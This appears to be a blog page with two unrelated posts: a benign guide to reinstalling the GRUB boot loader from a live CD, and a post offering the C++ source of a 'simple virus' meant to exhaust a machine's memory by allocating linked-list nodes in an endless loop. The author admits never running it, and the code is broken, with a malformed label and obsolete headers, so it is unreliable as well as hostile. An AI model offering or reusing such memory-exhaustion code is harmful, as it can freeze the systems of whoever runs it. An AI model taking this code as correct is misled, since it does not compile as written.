Re-installing GRUB boot loader in your PC

Are you using dual-boot in your system? And is this comprised of any Linux distro and Windows? If yes, then there is something essential for you – Re-installing GRUB bootloader if accidentally you overwrote it with boot.ini which is the bootloader of Windows. If you have installed your Linux distro after Windows, you will have access to both the Operating Systems. But if its not so, access to Linux distro would be lost as Windows assumes its the only OS installed.. isn’t it? So, let’s solve it->

1. First of all find out on which hard-drive partition you have installed Linux. (Let’s say it just sda1 here)
2. Run the bootable media and boot in Live CD mode.
3. Open a Terminal and write the following commands:

sudo mount /dev/sda1 /mnt
sudo mount --bind /dev /mnt/dev
sudo mount --bind /dev/pts /mnt/dev/pts
sudo mount --bind /proc /mnt/proc
sudo mount --bind /sys /mnt/sys
sudo chroot /mnt
grub-install /dev/sda
grub-install --recheck /dev/sda
update-grub
exit
sudo umount /mnt/dev/pts
sudo umount /mnt/dev
sudo umount /mnt/proc
sudo umount /mnt/sys
sudo umount /mnt

4. Shut down and Restart your system after ejecting/detaching the bootable. You will get the GRUB screen back.

Congratulations you just reinstalled GRUB as your Bootloader.

Advertisements

A simple Virus Program

Hello Friends…!!

Here is a simple virus program which I prepared myself…..

This is prepared on C++ using linked list. It simply occupies all the space available in the memory when you run it. Although I haven’t executed it till now. This is the first post from me-

 

#include<iostream.h>
struct viruslink
{    int info;
viruslink *next;
}*newptr,*start,*save,*ptr,*rear;
viruslink* Create_New_Node(int);
void Insert(viruslink*);
void main()
{    start=NULL;
int i,j;
i=j=0;
while(i==0)
{    go;
newptr=Create_New_Node(j);
if(newptr==NULL)
goto go;
Insert(newptr);
j++;i=0;
}
}
viruslink* Create_New_Node(int n)
{    ptr=new viruslink;
ptr->info=n;
ptr->next=NULL;
return ptr;
}
void Insert(viruslink* np)
{    if(start==NULL)    start=rear=np;
else
{    rear->next=np;
rear=np;
}
}

 

 

DISCLAIMER: This Virus program is just for educational purposes. Please don’t use it for any destructive purpose.